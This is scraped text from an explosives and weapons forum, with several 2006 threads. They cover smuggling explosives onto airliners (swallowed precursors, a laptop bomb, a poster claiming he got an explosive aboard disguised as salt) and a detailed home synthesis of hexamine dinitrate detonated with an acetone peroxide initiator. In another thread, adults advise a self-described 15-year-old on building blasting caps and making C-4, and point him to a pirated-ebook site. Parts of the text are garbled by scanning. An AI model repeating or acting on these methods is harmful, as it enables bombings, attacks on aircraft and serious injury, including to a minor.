inert detonators that look real except for the coloring and markings. If you could get a simulant aboard, you could also get the real thing aboard.
Gives one a feeling of the warm fuzzies - the feeling one gets when wrapped in flaming steel wool.
Cutefix, you may have found a way to revive the airline industry - naked passengers. All the old leches will be lining up and taking trips on the chance of seeing some young
foxy sans her clothes.
Knocking out everyone to keep the leches under control wouldn't help, though. What if the terrorist has a bomb surgically implanted, or uses K-Y jelly to insert the bomb where
this security clown keeps his head?

I was reading posts from three years ago, that eerily foretold the recent case of rag heads smuggling the makings aboard for making AP or MEKP.
Several means of getting the precursors on the plane were outlined.
My favorite, was the way one member imagined the terrorists could get the necessary chems on board the plane without being detected. Or if detected, nothing would be
found on their person, except the chemical signature from recent exposure.
The scheme was to drink the chemicals, then assemble in the head or galley and puke the shit back up to be mixed into the explosive. Even if it failed, that's pretty damn
clever!
A good method of preventing absorption for as long as possible would be necessary. But it's not as if any health hazards would matter to them, as they would soon be fucking
their 72 or how- many- ever virgins.:rolleyes:

Drug smugglers's mules are known to swollow condoms full of drugs. Find an appropriate swollowable/vomitable container, and a little ipicac will retrieve them.
I guess ipicac is now going onto the list of banned substances.
Meawoppl September 9th, 2006, 04:32 PM

As diabolique mentioned, security as we know it is OVER after the first "butt bomb". Screeners will have golves w/ a marking on the wrist for how deep they have to go. And
on that note, I would really rather drive.
ShadowMyGeekSpace September 9th, 2006, 09:14 PM

The thing is, you don't even have to be in a plane to take it down. Why wouldn't a terrorist just take a semi auto .22 and fire into the engines at the end of a runway as the
plane is climbing? I mean, come ON now people, people are giving up their freedoms for a false sense of security!
Shit, someone could drive a truck full of pigeons to the end of the runway as it was taking off, and set off a firecracker after opening cages. I'm sure 1 or 2 pigeons into the
turbines would take down the plane.... or what about just bottle rockets? :/ Sheeple piss me off.
Anira September 9th, 2006, 09:46 PM

Pigeons wont take the plane down. Those turbines are made to survive pigions, since they do fly in the air too. ;)
Why don't we accept that fact that more people die from cars than terrorist attacks on planes. I mean we don't have secutity check points on on ramps to freeways do we?
What about the drunk drivers?
ShadowMyGeekSpace September 10th, 2006, 12:37 AM

Then why do planes go down when pigeons get sucked into the engines?

A swarm of birds will take a plane down and this has caused several crashes. Airports generally like to keep birds of prey around to prevent large groups from forming. A
truckload would down a plane. You'll need more than one or two but if a plane flies into a large number the engines clog and stall.
festergrump September 10th, 2006, 08:38 AM

I mean we don't have secutity check points on on ramps to freeways do we?
America would NEVER do something like that!
http://www.youtube.com/watch?v=HA4KZV0xfDM&mode=related&search=
http://www.youtube.com/watch?v=hjZYi-H0FrQ&mode=related&search=
DarkWrath September 10th, 2006, 09:52 AM

I was able to get trichlorotrinitrobenzene abord a plane in my country without being detected by getting it in crystaline form in a salt bag.
It wasn't checked if it was really salt or something else. But here we don't have tight security measures.
That means that it is not only possible , but very easy to do. And we have international flights to US from here too , meaning someone could easy get the plane down while
landing on a international airport.
barbwir3 September 10th, 2006, 05:57 PM

In MA, they had a bunch of semtex lost because of a bumbling terrorist test. Aparently they misplaced the semtex bby leaving it on the back of a truck before then driving
away.

Oh I cant wait for the day when the media trys this. Tonight, a special report. We sneak explosives on the plane and detonate them during flight to show the flaws in our
airport security, the results will shock you ;)
DarkWrath, which country are you from?

I read a while ago about a test kit for acetone peroxide which is the size of a large pen. The AP is first reacted with a catalyst which decomposes it to acetone and hydrogen
peroxide. Second the peroxide is deteted with an indicator and the test lasts only minuites.
The point is the kit was carried with a sample of AP on a plane by the developer to visit some sort of law guy to demonstrate it. I love the irony of that.

Oh and a local magazine, ZOO did a story like 'zoo makes liquid bomb!' They found a few net recipies on the net (about 10 in 5 minutes), bought the ingredients, showed a
photo, printed the price, ($150 which I found astonishlingly high), printed a recipe with the volumes and times blanked out and then mentioned that they didnt actually make
it. They also hazed out the brand names of products.
I like that sort of crap.
They had a car battery as their acid source, which probably accounted for the majority of the $150.
Of course it's still not a liquid but hey that doesn't matter does it?
Syke September 17th, 2006, 11:25 PM

What about C-4 in a laptop? all it needs to do is boot up to convince the security "guards"(snicker) and that leaves plenty of room for a bomb and detonator especialy if its a
larger older model.
cutefix September 18th, 2006, 06:45 AM

Sykes...pray that the security hounds will not be paranoid enough to do that as that will bother a lot of travellers..including me .:(
A laptop is such an essential item as that will keep you busy during long haul flights:cool: ..
Flight 103 (Lockerbie) was brought down by Semtex in an AM/FM radio. Today, the explosives detection equipment looks for mono- and dinitrotoluene, which C-4 has a lot of.
It is Comp C (RDX and motor oil) that worries me.
Worse is the stuff they used back in WW2. The French Maquis were supplied by the British SOE with RDX mixed with flour. It could be backed into bread, and the bread walked
pasted the guards to be used in the German sub pens. A (anti-)hero sandwich could be brought past security. The electronic sniffers would have a hard time detecting it, and
the dogs would likely be distracted by the roast beef.
For every measure taken, there is a countermeasure, and a counter-countermeasure for that. Reminds me of MAD Magazine's Spy vs Spy cartoons.

Today, the explosives detection equipment looks for mono- and dinitrotoluene, which C-4 has a lot of. It is Comp C (RDX and motor oil) that worries me.
IIRC...only composition C-2 C-3 s have the DNT,TNT as part of the energetics along with the main component RDX
Meanwhile. C-4 is made with RDX with inert binders and plasticizers....

Nowadays they add DNT or other chemicals as a taggant so dogs and machines can detect the presence of the explosive.
But certainly not enough to call it 'a lot of'.

I stand corrected. I was likely thinking of C-3 instead of C-4.
Some of the detection techniques I've read of are quite sensitive. The particles of RDX can be sub-micron sized, and become airborne and detectable. When plasticized, they
also look for the other materials present.
The newer techniques do not rely on random particles, but use neutron activation and nuclear magnetic resonance to detect the nitro compounds. Neutrons are captured by
nitrogen, and it emits a gamma ray. With neutrons of precise energy, it is possible to determine the ratios of materials present, and not be confused by chlorine.
NMR usually screens for the resonance of the nitro group and a carbon or amine. Not as sensitive for this as it is for hydrogen resonance. NMR can be used for passenger
screening, I understand, but I would suspect that the sensitivity would be degraded.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > New OCR software, open source
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jellywerker S e p t e m b e r 5 th, 2006, 10:38 AM

H p / G o o g l e / U NLV has recently released their tesseract ocr software, originally developed from 1985-1995 by HP, it is
s u p p o s e d l y o n e o f t h e m o s t a ccurate ocr program s a v a i l a b l e . G o o g l e h a s u p d a t e d s o m e of the old code an d put it on
sourceforge. I hope this m akes scanning easier for those who have yet to crack a nother ocr application.
Article: http://developers.slashdot.org/article.pl?sid=06/09/04/2215210&from=rss
Link:http://sourceforge.net/projects/te sseract-ocr
megalomania S e p t e m b e r 8 th, 2006, 11:07 PM

How well can we expect an 11 year old OCR app that has been a bandoned by its patron to perform com pared to m odern
c o m m ercial OCR software? I read about it on bookpeople, and quite fran kly it lea ves a lot to be desired.
This was forwarded to m e, I'm not on the list.

> Subject: [BP] HP's open-source Tesseract OC R , a n y e x p e r i e n c e ?
> Tom Breuel pointed out to me a new project up at sourceforge , called
> "tesseract-ocr", with "lvincent" listed as adm in -- presum ably Luc
> Vincent (a docum e n t i m a g e p r o c e s s i n g e x p e r t n o w a t G o o g l e ) . T h e r e a re
> no files there, but they do seem to be at the University of Nevada -
> L a s V e g a s I S R I site, at
> http://www.isri.unlv.edu/downloads/ocr-prerelease-20051201.tar.bz2,
>
> I was wondering if any adventurous explorer had tried it out yet, and
> if so, what the results were like?
It only is con figured to build u nder MSVC++6 for W indows.

It only accepts uncom pressed bitonal tiffs.
It's com m a n d - l i n e o n ly. No GUI.
It performed abysmally on the provide d testimage.tif
But it did build. :)
Also in that directory you mentioned, there is a utility called ocrspell,

which is crufty code that I can't get to configure properly on a m o d e r n l i n u x
system ... to give you an idea , it is hardcoded for ispell 3.1.08 and it's
d e p e n d e n t f i l e s , a n d m o s t s y s t e m s are using aspell 0.50.x or 0.60.x. (ispell
3.1.20 or hig her) The (other) problem here is that the dictionaries are very
different from what the progra m e x p e c t s .
Granted, this was a fairly quick look, but I don't see this as being useful
very soon without a lot of gnashing of teeth.
jellywerker S e p t e m b e r 9 th, 2006, 12:19 AM

I did not know this, thanks for sharing before someone wasted tim e trying to use it and having to correct m i s t a k e s .
megalomania S e p t e m b e r 1 0th, 2006, 06:37 PM

Apparently this software has b e e n d e e m ed unworthy com pared to comm ercial OCR apps. The keyword here being com mercial.
A s f a r a s o p e n s o u r c e g o e s , O CR apps are in short supply. For those corporations, non-profits, and individuals that play by the
rules, open source and freewa re is the only affordable solution. For the rest of us, thanks to the wonder that is ware z , e v e n t h e
m ost expensive enterprise edition with unlim ited site licenses of a com m ercial O CR app is still free.
I f G o o g l e d e c i d e s t o s p e n d s o me of th eir discretionary m oney on developing Tesseract, say a billion dollars (change under the
CEOs couch cushion for Google), then maybe this could g o s o m e w h e r e . I i m a g i n e G o o g l e h a s m ore financial capital than bo th
Abbyy and Nuance (form erly ScanSoft) combined.
Developing software to clean up lower resolution scans and geometrically distorted im ages would be a better use of such
m o n e y . O C R i s e s s e n t i a l l y c o n s i d e r e d a s o l v e d p r o b l e m except for handwriting.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > frustrated attem pt of HDN
detonation....(sorry by fortuitous repeating of subject)
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PAlquimista S e p t e m b e r 7 th, 2006, 10:21 PM

Hi e v e r y o n e
This is my first thread ,and I decide post in the w a t e r c o o l e r b e c a u s e I h a v e a f r a i d o f a s k a n y s t u p i d q u e s t i o n a n d s p e a k a n y

stup id com m e n t : e e k : m o r e o v e r , a t t h e m o m e n t , I can t still post in others threads types because I think which this is
rese rved for the much more experim e n t e d a n d m uch m ore intelligent peoples than I can .. I am really fool, but try optimize
m y knowdledges
(sorry by m y very poor and horrible gram m ar I t o h o p e w h i c h a n y o n e unde r s t a n d m y words..)
I m a k e t h i s p o s t b e c a u s e I t r y d e t o n a t e s o m e HDN ,but not work.! What the problem in m y proced ures? Se e:
First synthesis:
In m y procedure of synthesis I use impure m uriatic acid and im pure H2SO 4, because here in Brazil is hard getting or buying
HNO 3,even the very dilute solution! :m a d :
first get 100m l of 9.75% HCl (from local supermarket), and dropped in this 10m l of conc. H2SO4(boiled battery acid)..after
this I dissolv ed purified nitrate f ertilizer( Salitre do Ch ile 5 0 % K N O 3 - 5 0 % NaNO3),an d filtered out the excess .. after ,chilling
this s olution in an salt iced bath m eanwhile, I poured 1 0 g o f h e x a m i n e i n a s m a l l g l a s s c o n t a i n e r . A d d e d 1 5 m l of water in
t h i s , s t i r a n d m a k e s u r e w h i c h a l l o f H e x a m i n e b e d i s s o l v e d . A d d e d s o m e nitrate also in this solution (not the saturation
poin t).. chilling also this solution.. with a t h e r m o m eter (surv ivor s t h e r m om e t e r - c o m p a s s f r o m c a m p i n g s t o r e s )I m o n i t o r e d
t h e t e m p e r a t u r e a n d s e e - 5 C in both solutions.. added quickly all of HX/nitrates solution in the acid/nitrate stirring
vigorously with barbecue wood sticks.. the resultant solution instantly turned white cloudy .Qu ickly fitered of th e precipitate
with coffee p aper filter.. poured collected precipitate in 40m l a n h y d r o u s E t h a n o l and stir few m i n u t e s f i l t e r e d a g a i n a n d p o u r e d
in another glass container with m ore 70m l of absolute ethanol (but these tim e with som e NaO H[not much] dissolved in
it)..stir again.. filtered out washed on the filter with som e abs o l u t e e t h a n o l t o rem ove any residua l NaOH p o u r e d o n t h e d r y
p a p e r a n d t h i s b e l o w o f t h e i n c a n d e s cent lamp wait 10 m inutes with occasio nal scrape of white powde r to dry them m o r e
quickly.. afte r, I p o u r e d the shinny crystals in an im p r o v i s e d d e s secator with C a C l 2 final yield: a p r o x . 8 - 1 0 g o f d r y H D N
Second:
Detonation a ttempt:
Next Day I remove all of HDN and pressed them i n a s m all cylindrical plastic flask with lid. The resultant volume has aprox.
3 / 5 o f t o t a l f l a s k v o l u m e with careful , filled t h e rest of flask with aprox . 5g of AP. M a k e a s m a l l h o l e i n l i d a n d p a s s e d
h o m emade fuse (medium burn rate) through it.. with careful , attached the fuse in the lid and put WITH EXTREMELLY
CAREFUL(dont disturbing the AP) ,the lid on the f l a s k , t o c l o s e t h e m . .. Reinforced the lid with som e h a r d , s t r o n g and ins tant
glue a n d s t a n d h a r d e n i n g
I p l a c e d t h e device i n a s a f e a r e a . . L i g h t t h e f u s e a n d r u n a w a y . . : e e k : the resultant blast was bad . . t h e s o u n d w a s sim ilar

to m y little bom bs with 5g AP.the flask disappe ared ,but I think which the charge of HDN was throw away ; not was totally
d e t o n a t e d o r t h e p r e s s w a s i n s u f f i c i e n t e n o u g h or exce s sive what s occur??? ?
- - - - - - - - - - - - - - - - - - - - - - - - - -
Belo w, som e c o m m e n t s o f p e oples wh ich I think be very interesting ideas (copied from o t h e r t h r e a d s ) :
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
*Originally posted by Sr. Researcher DBSP(link below):
( ) A s o f t o d a y I h a v e n o t y e t s e e n a n y figures of at which density HDN ha s a V O D o f a b o u t ~6000 m /s. I belive we can say

t h e s a m e thing about HDN as AP, is hasn't got a VOD of about 6000 m /s in everyday use. HDN is allso hard to press and is a
very fluffy powder.( )
http://www.roguesci.org/theforum/high-explosives/2705 -dinitrate-hexamine-archive-file.html?
high light=Hexam ethylenetetramine+dinitra te
*Originally posted by Rooster(in anoth er link,below):
Z a m f e , t h a t i s entirely wrong. I h a v e d e t o n a t e d 50grm a s o f HDN. That was with 5grm s o f AP though. Full detonation,
a l t h o u g h n o t t o o m uch dam age to the target (tree). You would find residue from 50gram s of HDN.
AP powder is also the crystalline form, just sma ller crystals.
I ' v e u s e d 1 g r a m o f A P a n d 0 , 5 g r a m s o f R D X a s a b o o s t e r for HDN also. Som e c o m p l e t e a n d s o m e incom p l e t e d e t s .
*Originally posted by Sr. Researcher Mongo Blongo (link below):
I f t h e g o a l w a s t o u s e " s af e " m aterials then why did you try t o u s e a c e t o n e p e r o x i d e ? N G i s m u c h m ore s table t h a n AP. NG is
not as unstable as it is hyped up to be. Sure it is classe d unstable for a secondary explosive but it is quite safe.
Anyway I think what you need is a base charge in your detonator like RDX or TNP or something. HDN is very hydroscopic so it
would also be a good idea to use just after it has been dried. I have never personally tried detonating HDN but i do know it is
quite insensitive so a powerfu l detonator is the way to g o .
http://www.roguesci.org/theforum/high-explosives/2106 -dinitrate-hexamine-archive-file.html?
high light=Hexam ethylenetetramine+dinitra te
*Originally posted by Sr. researcher Mongo Blongo(link below[actually , n e x t p a g e f r o m l i n k a b o v e ] ) :
D u d e , I h a v e n e v e r s e e n a m e t h o d u s i n g H 2 S O 4 ! I w o u l d h a v e t h o u g h t t h e H 2 S O 4 w o u l d d e c o m p o s e t h e HDN? You should

use HCL and add the Hex all at once (not slowly)!! You should filter as quick as you can (let it sit for 1 hour??)the HDN will start
t o d i s s o l v e . Y o u s h o u ld wash it with acetone if you want it to dry quick. If you put it in a flame then it will not do anything (It's
not a primary explosive).
It should be detonated by HMTD if it is dry enough.
I h o pe this helps
http://www.roguesci.org/theforum/high-explosives/241-hexam ethylenetram ine-dinitrate-2.html?
high light=Hexam ethylenetetramine+dinitrate
-------------------
-----------------
-------------------
Questions about all topics above:
* Hi, Sr. Res earcher DBSP

C a n o n l y H D N d e t o n a te with a certain p r e s s ? o r a n y p r e s s u r e i s e n o u g h ? W h a t s y o ur personal m e t h o d f o r p r e s s i n g H D N a n d
others explosives in a detonator or other device to a de cent press???
Thanks
*Hi, Rooster
Apparently is better u se any b ooster to com plete detonation of HDN.. what the be st booster used in im provised detonators
y o u t r i e d u s e to deto nate HDN? TNP? RDX? PETN? C a n a l s o C M T N A b e u s e d i n p l a c e of regular b o o s t e r s ? ? ? a n d t h e better
prim ary explosive? I think which HMTD sounds very good, but AP has mu ch more lower cost of m aking.. whom the better?
currently I trying the DDNP synthesis, but when try m ake the picramic acid,still no worked...:mad:
Thanks
*Hi , S r . R e s e a r c h e r M o n g o B l o n g o
f o r m s a slurry HDN with NG ? is HDN NG solu ble? I re m e m b e r s e e q u i c k l y a n o t h e r d a y other thread called u n c o m m o n s h a p e d
c h a r g e s in the sciencem adne s s a p p e a r e d s o m e m i x a n d p r o p o r t i o n s , b u t I f o r g e t . . o n l y rem e m b e r s e e s o m e t h i n g a s NG/
HDN/ANNM . . m a y b e I wrong s o is actually better m i x t h e HDN with any explosive(NG, AP or other high sensitive) to facilitate
a n d g u a r a n t e e t h e d e t o n a t i o n ???
Thanks
*Hi, again, Sr. Researcher M o n g o Blon g o

I n a ctually , is m y s h inny white crystals HDN? You says which ( )I h a v e n e v e r s e e n a m ethod using H 2 S O 4 ! I w o u l d h a v e
t h o u g h t t h e H 2 S O 4 w o u l d d e c o m p o s e t h e HDN?( ) . . M y m e t h o d I u s e d H 2 S O 4 b u t w a s d i l u t e d w h e n m ixing with the others
chemicals.. is enough this dilution for decompo se all(or part) of HDN??? Can my yield be better than if I use ONLY hydrochlo ric
acid >30%??? :confused: :confused: :confused :
Thanks again..
Again, everyone : really sorry by m y poor English and any com m ent.. I will trying to im prove..
Thanks everybody....
PAlquimista S e p t e m b e r 8 th, 2006, 06:34 PM

M y n e x t e x p e r i m ents will again be trying DDNP (the "sodium sulfide im provised" m ethod) or CMTNA. Maybe I will try using
C M T NA in m y next de tonator as booster. Will this work fine?

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > starting them young
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This topic is not about my children or anything, I am the young one.
I discovered this forum about 2 years ago, and have been reading quite aggressively on it lately, and venturing to make a few posts. I have now a question for the mods and
more advanced and older users here.
I am not of college age, and if I was, do not desire to major in chemistry, having other plans for my life, but I am interested as a hobbyist in chemistry. I am wondering where
to begin my education, aside from this site. I was thinking checking out chemistry courses from the library would be a good beginning, seeing as taking the chemistry class at
my local high school would be a waste of time. At my age, money is also something of an issue, so whatever I do do/put together, it will have to be on something of a
shoestring budget. I am 15, and am not interested in creating any explosive compounds in any quantities larger than enough for a proof of ability test (think a few grams) or
anything similar, but I do want to put together enough equipment and books (pdf or printed) to build a firm base in chemistry, up to at least a level of competence similar to
that of a college sophomore, of course with less beer and more sense :p
I hope the mods are not angry with my disclosure of my age, especially as it will probably lessen anything I say in the eyes of the forum users here, but I would rather be
known to be 15 and start off on the right foot in chemistry than have people think I am 25 and not have a foot. I am yours to mold (to a point :cool: ) and hope to get some
solid answers on some good introductory reading and experiments.

I applaud your initiative in learning chemistry on your own terms. I suggest you find a university website at a larger school and see if you can find a syllabus for a gen chem.
course and an organic chemistry course. Find out what textbooks the class recommends and buy those textbooks, used, from a discount online vendor or fleabay.
Amazon may also help you find popular titles of chemistry textbooks. Start with a general chemistry textbook, get a Schaums Outline for chemistry, and if you are really lucky
find some online notes from a university professors class website. A lab manual for organic chemistry can be tremendously helpful if you plan on doing anything with your new
chemistry knowledge.
Also, check out ebooksclub.org and sign up for a free membership. They have the largest collection of pirated ebooks I have ever seen. Steer away from the advanced
technical books and focus on the textbooks for now. Many modern chemistry textbooks are available there.
http://www.ureg.ohio-state.edu/courses/Winter/book3/B100.htm
http://undergrad-ed.chemistry.ohio-state.edu/
http://www.chemistry.ohio-state.edu/~woodward/chem_121.htm
Keep in mind that modern chemistry textbooks will not actually teach you how to do anything practical! Modern textbooks are all theory, vague reactions, and definitions. They
will teach you the discourse of the chemist, introduce you to the concepts, and start you along the path of basic skills and mathematical manipulations. Only older pre WWII
textbooks include actual examples of how to make chemicals in the lab. Modern lab manuals teach technique and functional group transformation; what chemical you are
making is largely irrelevant.

Well, as a self-taught chemist (now entering university and studying chemistry) I can recommend that you get both more recent textbooks and download many of the older
pre-WWII textbooks (sciencemadness.org has a library with many of these books all in one place).
The newer textbooks will explain the theory and mechanisms behind the reactions quite well. It won't give you any practical details on the reactions, but you will have a solid
understanding of what one can do and why that happens, etc.
The older textbooks will provide all the practical examples of the reactions so that you can carry them out yourself.
Combined, you not only have a solid understanding of the theory behind everything, but also practical knowledge of how to apply that theory.
Sausagemit September 11th, 2006, 09:52 PM

My highschool chem/physics/science reasearch teacher was awsome. We acctually made fireworks the first week of class in science reasearch!! But alas, teachers like this are
going the way of the dodo bird.
And if I were you I would start on some physics/dynamics too. Just basic motion concepts, nothing like kinematic relationsips or anything too advanced. Because you would
probabbly want to know how far, fast, and high a projectile went. This stuff is simple and one can be pretty knowledgeable on the subjects within a couple of weeks or less.
And here is a good place to start.
http://hypertextbook.com/physics/mechanics/motion-equations/
I know when I was your age I was all into making stuff fly with propelents and various other stuff, wheather it be a pop bottle alcohol rocket or a glass marble through 3/4 inch
plywood.
GibbsFreeEnergy September 12th, 2006, 01:28 AM

As was said, begin by reading general chemistry books and working your way up to organic chemistry. It might be helpful to follow an Advanced Placement study guide which
one can track down on google. This is a high school course program designed to help prepare students for college chemistry and, from my experience, can teach one a great
deal about general chemistry. It even entails the lab experiments to help one understand the material, making it great for understanding lab processes. After you feel truly
comfortable with the material, and I think the best way to achieve that is to read, read, and then read some more and after that solve as many problems as you are up to. It
will only help you understand the theory better. As for moving up to organic chemistry, I learned from what is today probably the universal standard in college organic
chemistry courses, John Mcmurry's 6th edition of Organic Chemistry. You can pick it up online for a reasonable price and this baby can really teach you a lot, and it also works
well with Williamson's Macroscale and Microscale Organic Experiments, a great lab reference.

Sausagemit: I am already in the top level physics class at my school (which has the best teacher, he makes you THINK! a rarity in my lack of experience), and have a pretty
good base there, for distance, speed, energy, mass, etc... Although I won't be doing to much with projectiles I think.
Chris: Thanks, and it's good to know of another person self-teaching themselves and having it accepted at a college.
Mega: Again, thank you. I'm currently researching the chemistry courses at the University of Washington, as my brother will be attending this quarter and can get me
pamphlets on textbooks, supplies, web adresses with notes and syllabuses, etc... I know they have them, as an aquaintance is studying mechanical engineering there and
when considering a major found them for every class.
I've registered at the book link you gave, and wow, do they have a dizzying selection! I'll wait till I get some more info to download anything, as I am hoping I can get the
textbooks used by the UW. I am also hoping (although this is something of a long shot) to be able to find someone through my brother that is a first year chem major, and
follow along with a class he is taking, discussing it when we can, etc... We'll see how that works out though.
As for equipment and chemicals, I intend to buy what I need when I need it, and simply accumulate a small amount of equipment over time, this will keep down costs and
reduce unnecessary clutter. Plus, with some more reading, I have realised that it really doesn't take too much stuff to make and test quite a few things, only a few beakers, a
basic distilling setup, a scale and some graduated cylinders, perhaps some test tubes for small experiments, and a few tools (burner, thermometer, hydrometer, scale, etc...)
But hell, I could get a titration setup and start looking into biodiesel, another interest of mine. I want to get a diesel rabbit, convert the fuel lines and be french fry oil powered.
Screw the Saudis!
Speaking of equipment however, how necessary is a fumehood? I read things about chemicals like nitric acid and others are quite corrosive and extremely unhealthy, if not
fatal, so for small scale stuff, would a setup of 3x 120mm pc fans built into a rectangle and, using formed sheet metal, attached to somthing like a dryer vent hose be suitable?
The setup could be positioned directly over whatever was being worked on and the hose could simply be draped out a window (although a less visible window would seem
best, brown fumes coming out of a building are hardly ever taken as a good sign).
One last thing, although somewhat offtopic. I was looking around at equipment, and saw some tiny test tubes, apparently called Durham tubes. These are 12x55m (.4in x
2.1in) tubes, and you can get rubber caps that fit them. It seems they are used to detect gases created by microorganisms, but that isn't what I am thinking they could be
used for. Would this not be a good size for a homemade, uniformly sized (and packed and measured due to their transparent nature) blasting cap? A fuse (or wire, depending
on your means of ignition) is inserted into the rubber cap, the appropriate explosives added to the tube (bp + ap, etc... you use what is appropriate) and the cap is pressed
tightly (but gently, even a few grams of an he in your hand that is friction sensitive is deep layers of skin or tips of your fingers gone) and you have a nice uniform cap.
Of course, I may have my dimensions all messed up, as it seems many of you don't make enough of a substance to even bury this cap, and so must use very tiny caps (?) or
something, but this seemed intriguing to me.

At 15, you should be in Yr 10. At about that time (in Aus) they start to teach a little about Acids/Bases and naming alcohols and the other simple organic compounds.
As much as your teacher may be a cock head, read your Chem book, and listen to what he/she says. I have found that I hated the teacher, but what he taught came in use
later.
After that, borrow the Yr 11-12 Chem book, and read a little, then get ftp access and read the first year university organic chem book there.
Learning just the basics at the moment will be enough. If you are willing to put in a few hours a week, you will be doing very well by the beginning of next year.
Make sure you have a solid foundation, there is nothing worse than reading something a little advanced and forgetting the difference between ethane/ethene/ethyne.
Also, get a grasp on the laws of motion (kinetic and potential energy) and by extension momentum and gravity, as well as the Mole Concept (Avogadro's Number).

Alexires: I don't have a chem teacher, as I am not taking a class at the public school, but as for my physics teacher (the one I mentioned) he is an excellent teacher, and
clearly not to be mistaken for a phallus.
As for your other instruction, thank you. I'll see what I can do about borrowing books from the high school, as having printed material I can have next to me while doing
something would be helpful.
For your information, I am in the U.S., so with my birthday I should be in grade 9, but due to having parents with some insight, I was homeschooled up until the last half of
last year, giving me the opportunity to progress rapidly, and am now enrolled as a junior in the public high school, that is, grade 11, but with enough credits to graduate early
in december :D so after this quarter I can graduate or take any elective classes I want.
I'll probably take the courses, as it's free education, and with no credit requirements I can set my schedule up to acommodate myself. I would also be loth to enter college at
such a young age, not being able to transport myself beyond my bike, able to get a decent part time job, and being physically disadvantaged for sports, being a still growing
teen and all, compard to the 18, 19, and 20 year olds that are the other freshmen. I intend to do some math (to keep it fresh in my mind for testing) and chemistry, along
with welding. Unfortunately my high school doesn't have any classes truly relating to my future career field (design/architecture), so besides math there is little I can do at
school to prepare for that.
Gibbs: Thanks for the tips, and the specific book titles.
Talking to my brother I discovered you can also get all the class information in the pamphlets online, but you need a student account to access it. I'll see if I can use his.

One last thing, although somewhat offtopic. I was looking around at equipment, and saw some tiny test tubes, apparently called Durham tubes. These are 12x55m (.4in x
2.1in) tubes, and you can get rubber caps that fit them. It seems they are used to detect gases created by microorganisms, but that isn't what I am thinking they could be
used for. Would this not be a good size for a homemade, uniformly sized (and packed and measured due to their transparent nature) blasting cap? A fuse (or wire, depending
on your means of ignition) is inserted into the rubber cap, the appropriate explosives added to the tube (bp + ap, etc... you use what is appropriate) and the cap is pressed
tightly (but gently, even a few grams of an he in your hand that is friction sensitive is deep layers of skin or tips of your fingers gone) and you have a nice uniform cap.
And not to mention all the glass schrapnel that will be buried deep within your arms and hands.
Through my experience with home made blasting caps what works the best is to use used amunition casings. As almost all of them are made of non-sparking brass and you
can find non-sparking lead slugs to use to press the AP putty or whatever your using in from a safe distance and from behind something.
I would never and have never packed or pressed any type of explosive with my bare hands as it is just an unsafe practice.
But you could make a press just the same for the test tubes. The only difference would be you would need something to hold the test tube there like a block of wood with a
hole in it (really complicated huh).
And I would probabbly be worried about static too. Seeing as how glass and rubber almost allways carry oppisite charges when in contact with normal everyday objects and can
arc if the air is dry enough. But once there in contact with one another, no worries.

They come in plastic too, which I figure would be incinerated in the blast and are cheaper, still the possibility of static though. As for pressing, I failed to mention it, but the
intention is not to use the rubber cap to pack the explosives, it just needs to be pressed in firmly so that the fuse or wire is in contact with the first stage explosive.

Well, I've figured out most of what I'll be doing, I'll be using the 4th edition of "Chemistry" from Prentice Hall for a textbook, it has pretty solid reviews on being an all
encompassing and understandable work. I won't be following along with a person or anything, but that suits me just fine. I figure I'll learn more from hands on than I would
from conversing with another person new to chemistry.
I've also been searching my local stores for OTC chemicals and have found many useful items. Still on my list is polyisobutylene in the form of bird repellant (I cannot resist not
attempting to make c4 at one time or another :D), along with a few other items. I'm also looking at buying around $150 of equipment from cynmar and ebay, which includes
the following:
used triple beam scale

used corning stirrer/hotplate
5pc. Kimax beaker set (50ml, 100ml, 250ml, 600ml, 1L)
72pc. box of 36ml test tubes (Kimax again) + test tube brush, rack, tongs
300mm leibig condenser (+ water pump from aquarium store)
100ml graduated cylinder
a few glass stirring rods
Thermometer (-20 to 150c, nist certified) It also says P/I, I am not sure what that means.
chemical safe gloves
Safety glasses
I'll also get some stoppers and tubing, for using the condenser, but that seems to be about all that is really needed for doing a lot of things. I am sure I will want more
eventually, but this appears to cover the basics.
Anyone have any suggestions as to what I am buying or a link to a teachers version of the textbook, so I may have answers to all the examples and such?
One last thing, as for equipment, Brainfever's site has been very helpful, being able to see pictures of some things like nitric acid being synthesized and such and seeing what it
really takes to do them (they may not be the most efficient ways, but they appear to be a lot simpler than others I have read)
Thank you for creating such a nice resource, Sir. I has also been referring to this website:
http://www.destructve.com/book/Chapter6/bookchapt6.htm
an effort by the people on the sciencemadness forums (which I found out about recently and have been reading too)

I hate to bump this, but it seems to have fallen out of common interest. Anyone want to verify where I'm heading? I've also found that my physics teacher stocks a variety of
chemistry books, all of which are available for checkout. I've found one to be especially helpful, a lab manual for a certain course, although his library is lacking the course
textbook itself.
Also, yes, I did just notice the spelling error in the above post.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Delta Force ?
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nighthawk45 S e p t e m b e r 9 th, 2006, 05:42 PM

Has anybody read "Inside Delta Force" by eric l. haney? If so was it any good?
Has anyone ran across a link for it? An y input would be nice.
Thanks
nigh thawk45:)

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > O pening shotgun shells
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michaelpops S e p t e m b e r 9 th, 2006, 06:46 PM

M y d a d h a s a b o u t 2 4 l e a d s h o t g u n s h e l l s i n t h e b a s e m ent and is thinking of throwing them out since you can't hunt with lead
s h o t a n y m ore. I'm thinking of opening them and taking the gun powder to experiment with. The o nly thing that worries m e i s
how I'll be able to open up the shells without creating a spark or any other ways that could hurt m e.
Is there any safe way to open them?
Thanks,
Mike
ShadowMyGeekSpace S e p t e m b e r 9 th, 2006, 07:45 PM

A razor blade works very well.
michaelpops S e p t e m b e r 9 th, 2006, 07:59 PM

But when it cuts throu gh the plastic wouldn't there be a good chance that it would com e in contact with the pellets thus causing
friction thus sparking? Or am I wrong and over protective?
nbk2000 S e p t e m b e r 9 th, 2006, 08:53 PM

Oh Christ...cut the en d off where it's crimped and dump everything out. :rolleyes:
It's not going to blow up in your hands.

R e m o v e t h e l e a d s h o t before you start cutting and the greatest danger is elim ina ted. Just pry open the top of the shell and
d u m p the shot into a container. If you cut your shell in the right place, you can slice through the paper cap that seperates the
powder and shot, thus there a re no worries abo ut friction igniting the powder. Dep ending on the shell, the cap could be 1/4 inch
